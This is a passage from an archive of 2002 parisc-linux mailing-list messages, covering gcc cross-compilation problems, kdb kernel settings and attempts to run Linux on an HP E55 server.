Right now I am putting together a cross-build environment on an i386 box
so that I may compile a HPPA kernel and I've got bootp and tftp services
ready to go. Looks like getting everything together will be a bit of a
challenge. I'm so used to the i386 world now that I'm royally spoiled by
the Debian package repository. Spoiled and lazy that is. All I can hope
for is that I'm not off my rocker or heading in the wrong direction
entirely.

So, if anyone has some wisdom to impart upon a newbie to the PA-RISC
world, I'll be very grateful, and so will my E55!

Off I go to save the world! It's nice to meet all of you!=20

Damian Boune
----------------------
Marmot Mountain Ltd.



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Wed, 05 Jun 2002 18:11:56 +0200 (CEST)
Lines: 65
Approved: news@gmane.org
Message-ID: <1023293516.3cfe384c3bc56@webmail.tiscalinet.be>
References: <200206031738.g53HcNjL011765@hiauly1.hia.nrc.ca> <1023172365.3cfc5f0d1b7f7@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621361 8325 80.91.229.3 (22 Nov 2014 01:56:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 10:11:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88954482A
	for <parisc-linux@parisc-linux.org>; Wed,  5 Jun 2002 10:11:57 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FdO8-0004N7-00; Wed, 05 Jun 2002 18:11:56 +0200
In-Reply-To: <1023172365.3cfc5f0d1b7f7@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14987

Hi Dave,

Quoting joel.soete@freebel.net:

> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > > I really have no chance with this b2000:
> > > I broken first my install and now it makes a HPMC in the middle of
> > binutils
> > > build and the pim info are not clear :((
> > 
> > I'd try a new kernel first.
> 
> Very strange behaviour: 
> with some difficulties I reach to restart a kernel then I launch  my
> toolchain
> script (which failled because of __therad problem), I change the faulty
> header
> and finaly relaunch script which failled in a tar xjf (some time during
> the
> first extract of binutils, some time during the second extract of gcc32)
> what
> ever the kernel I used 2.4.18-pa24 2.4.18-pa24+lvm1.0.4
> 2.4.19-pre8-pa29?.
> 
> But thanks to the console logs grab with minicom I reach to notice the
> "BUG":
> 
> Debian GNU/Linux 3.0 palx2000 ttyS0
> 
> palx2000 login:
> 
> kernel BUG at superio.c:109!
> WARNING! Stack pointer and cr30 do not correspond!
> Dumping virtual address stack instead
> 
> Dumping Stack from 0x2ee00000 to 0x2ee00bc0:
> ...
> 
> What could the reason why the tar xjf is successfull a first time and
> when it is
> relaunched, it fails? Ext3 fs (I am not sure how can I change back to
> ext2) bash
> (which other sh may I try) ?
> 

Well what ever was the fs type (ext2 or ext3) the problem was the same;
apparently until the fs was clearly corrupted and required a fsck. Everything
seems to come back Ok.

So finaly I had to replace __thread to _thr in some glibc headers (already
changed in the glibc cvs actually change __thread to __threadp) and now the
toolchaine compiles successfully for gcc-3.2.

The kernel still compiles and boot well :) 
But the inetd connection also still there :( (hope kdb will help)

Thanks again for help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Greetings!
Date: Wed, 5 Jun 2002 10:13:25 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200206051713.g55HDPf10741@opus.allegro.com>
References: <7FD5D52DC7BFB94A867A01CE23C2C3B2021DC7@echelon.mml.marmot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621362 8361 80.91.229.3 (22 Nov 2014 01:56:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dboune@marmot.com (Damian Boune)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 11:13:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF0DC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 11:13:26 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id g55HDPf10741;
	Wed, 5 Jun 2002 10:13:25 -0700
In-Reply-To: <7FD5D52DC7BFB94A867A01CE23C2C3B2021DC7@echelon.mml.marmot.com> from "Damian Boune" at Jun 05, 2002 09:01:58 AM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14988

Re:

> I am new to the PA-RISC mailing list, and to the PA-RISC world in

welcome!
> systems and one of these systems that no longer performs this duty is a
> HP E55. Being a junkie I'm naturally trying to find a new job and life
> for this little E55. I have not yet done anything much with it yet as

>From what I recall, the HP 9000/E55 (and the other Ex5 models) is
not supported by Linux, and it won't run.  

>From the "supported" page at http://www.parisc-linux.org/hardware/supported.html

   The earliest PA-RISC servers have proprietary HP devices attached to 
   proprietary HP bus architectures. Documentation on these busses and 
   devices will not become available soon since no one in HP is finding, 
   "scrubbing", and releasing the docs. Machines in this category are the 
   E, F, G, H, I class (aka Nova) and T500 series (Emerald) machines as 
   well as some earlier, unlettered servers. 

Your E55 is an E class system :(

OTOH, IIRC, Christoph Plattner did manage to get some form of Linux running on it,
possibly by making major changes to the I/O system...
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/014615.html

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Wed, 05 Jun 2002 19:17:19 +0200 (CEST)
Lines: 39
Approved: news@gmane.org
Message-ID: <1023297439.3cfe479fcd5b9@webmail.tiscalinet.be>
References: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621362 8365 80.91.229.3 (22 Nov 2014 01:56:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:02 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 11:17:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 202FF482A
	for <parisc-linux@parisc-linux.org>; Wed,  5 Jun 2002 11:17:29 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FePP-0001dK-00; Wed, 05 Jun 2002 19:17:19 +0200
In-Reply-To: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14989

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > It seems to be well comited in last cvs update this morming I got in
> > src/gcc/gcc/fixinc/inclhack.def:
> > ...
> > /*
> >  * __thread is now a keyword.
> >  */
> 
> > But do not seems to be applied as I got the same error?
> > 
> > What do I wrong or forget to do?
> 
> You should see the following in your build output:
> 
> Applying thread_keyword           to pthread.h
> Fixed:  pthread.h
> 
> A fixed pthread.h should appear in the {build}/gcc/include directory.
> This seems to work ok for me in a native hppa-linux build.


With build toolchain procedure I build well a cross compiler hppa to hppa?

Also I would like to compare the results with a gcc hppa-linux native build when
I compile the kernel with gcc-3.1 (or 3.2) and see if the same network problem
occurs.

But in that case I ignore what parameters I would have to use to configure and
compile gcc natively. Can you still help me?

Thanks in advance,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 5 Jun 2002 10:21:32 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020605172132.GC29187@tausq.org>
References: <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org> <1023292640.3cfe34e07e65b@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621362 8368 80.91.229.3 (22 Nov 2014 01:56:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:02 +0000 (UTC)
Cc: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 11:21:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail15.speakeasy.net [216.254.0.215])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E7A3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 11:21:48 -0600 (MDT)
Original-Received: (qmail 19454 invoked from network); 5 Jun 2002 17:21:46 -0000
Original-Received: from unknown (HELO gandalf.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail15.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 5 Jun 2002 17:21:46 -0000
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 17FeTU-0000kO-00; Wed, 05 Jun 2002 10:21:32 -0700
Content-Disposition: inline
In-Reply-To: <1023292640.3cfe34e07e65b@webmail.tiscalinet.be>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14990

> Mine is now:
> CONFIG_MAGIC_SYSRQ=Y
> CONFIG_KDB=Y
> CONFIG_KDB_MODULES=Y
> # CONFIG_KDB_OFF IS NOT SET
> CONFIG_KALLSYMS=Y
> 

that looks fine.

randolph



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Wed, 5 Jun 2002 13:34:13 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200206051734.g55HYDbd019373@hiauly1.hia.nrc.ca>
References: <1023297439.3cfe479fcd5b9@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621362 8371 80.91.229.3 (22 Nov 2014 01:56:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 11:34:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A2A0482A
	for <parisc-linux@parisc-linux.org>; Wed,  5 Jun 2002 11:34:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g55HYEFN019375
	for <parisc-linux@parisc-linux.org>; Wed, 5 Jun 2002 13:34:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g55HYDbd019373;
	Wed, 5 Jun 2002 13:34:13 -0400 (EDT)
In-Reply-To: <1023297439.3cfe479fcd5b9@webmail.tiscalinet.be> from "joel.soete@freebel.net" at Jun 5, 2002 07:17:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14991

> But in that case I ignore what parameters I would have to use to configure and
> compile gcc natively. Can you still help me?

If you are using a 64-bit machine, you will have to specify "--host".  You
probably also want to specify "--prefix".  So, in your build directory,

${gcc_source_directory}/configure --prefix=${somewhere} --host=hppa-linux

This will configure the build for everything.  If you want just C, specify
"--enable-languages=c".  You may also want to specify where the assembler
and linker are if you don't want the defaults.  Type

${gcc_source_directory}/configure --help

for more option information.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Wed, 5 Jun 2002 14:59:28 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20020605145928.I29135@systemhalted>
References: <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org> <1023292640.3cfe34e07e65b@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621363 8375 80.91.229.3 (22 Nov 2014 01:56:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:03 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 12:59:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D2A1E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 12:59:37 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g55IxS830425;
	Wed, 5 Jun 2002 14:59:28 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1023292640.3cfe34e07e65b@webmail.tiscalinet.be>; from joel.soete@freebel.net on Wed, Jun 05, 2002 at 05:57:20PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (22% Sync Ratio [==........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14992

> 
> Well I come back to you to see what should be the useable kdb config (to
> investigate the network problem with kernel compiled with gcc-3.1 or -3.2).
> 
> Mine is now:
> CONFIG_MAGIC_SYSRQ=Y
> CONFIG_KDB=Y
> CONFIG_KDB_MODULES=Y
> # CONFIG_KDB_OFF IS NOT SET
> CONFIG_KALLSYMS=Y
> 
> Thanks a lot,
>     Joel
>

Does you system boot with kdb enabled?

I think I might have gotten a bit farther, I have a few
hours to do more testing tonight and I'll post later.

c. 



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Damian Boune" <dboune@marmot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: E55 Kernel Support and question for Christoph  (used to be RE: [parisc-linux] Greetings!)
Date: Wed, 5 Jun 2002 10:38:54 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <7FD5D52DC7BFB94A867A01CE23C2C3B2021DC8@echelon.mml.marmot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621363 8379 80.91.229.3 (22 Nov 2014 01:56:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:03 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Stan Sieler" <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 13:08:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from enduro.mml.marmot.com (h206-80-39-2.ncal.verio.net [206.80.39.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 43374482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 13:08:19 -0600 (MDT)
Original-Received: from echelon.mml.marmot.com ([172.16.0.64] helo=marmot.com)
	by enduro.mml.marmot.com with esmtp (Exim 3.35 #1 (Debian))
	id 17FelS-00081u-00; Wed, 05 Jun 2002 10:40:06 -0700
X-MS-Has-Attach: 
content-class: urn:content-classes:message
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
X-MS-TNEF-Correlator: 
Thread-Topic: [parisc-linux] Greetings!
Thread-Index: AcIMtBomGCgFwtWMRtOzLsZAA2yclgAAhNHA
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14993

> From what I recall, the HP 9000/E55 (and the other Ex5 models) is
> not supported by Linux, and it won't run. =20

Yes, this is the general case AFAIK, other than the below.

> OTOH, IIRC, Christoph Plattner did manage to get some form of Linux
running on it,
> possibly by making major changes to the I/O system...
>
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/01461
5.html

I reviewed this message during my initial research, and this seems to
point to what I need to get started. I'll have to dig around CVS and see
what I can find.=20

Christoph, is there anything specific I should look at? Have you had any
further trials?

Many Thanks!!!
Damian Boune
Marmot Mountain Ltd.



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: E55 Kernel Support and question for Christoph  (used to be RE: 
 [parisc-linux] Greetings!)
Date: Wed, 05 Jun 2002 22:41:43 +0200
Organization: private
Lines: 88
Approved: news@gmane.org
Message-ID: <3CFE7787.796C7F33@gmx.at>
References: <7FD5D52DC7BFB94A867A01CE23C2C3B2021DC8@echelon.mml.marmot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621363 8382 80.91.229.3 (22 Nov 2014 01:56:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:03 +0000 (UTC)
Cc: Stan Sieler <sieler@allegro.com>,
	parisc-linux@lists.parisc-linux.org
To: Damian Boune <dboune@marmot.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 14:41:48 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02D41482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 14:41:47 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020605204140.MVDZ20009.viefep15-int.chello.at@gmx.at>;
          Wed, 5 Jun 2002 22:41:40 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14994

Hello, welcome to the PA-RISC hacker group

(I hope you are a new hacker ....)


We E55 users have to work and fight very hard !!!
We cannot accept to read a sentence like `not supported' !!!

Ok, let us come to the facts.
The E55 is a nice server, but it includes many proprietary parts.
These are the I/O bus system, and the following devices:
	MUX 8/16-way serial interface (also affected is the serial
					console)
	Parallel port (not so important in the first run)
	Complete SCSI system

The CPU (core systemw with RAM/Cache) and the ethernet is working
well and quite with a good performace.

It was very important for me to boot this machine. The image booting
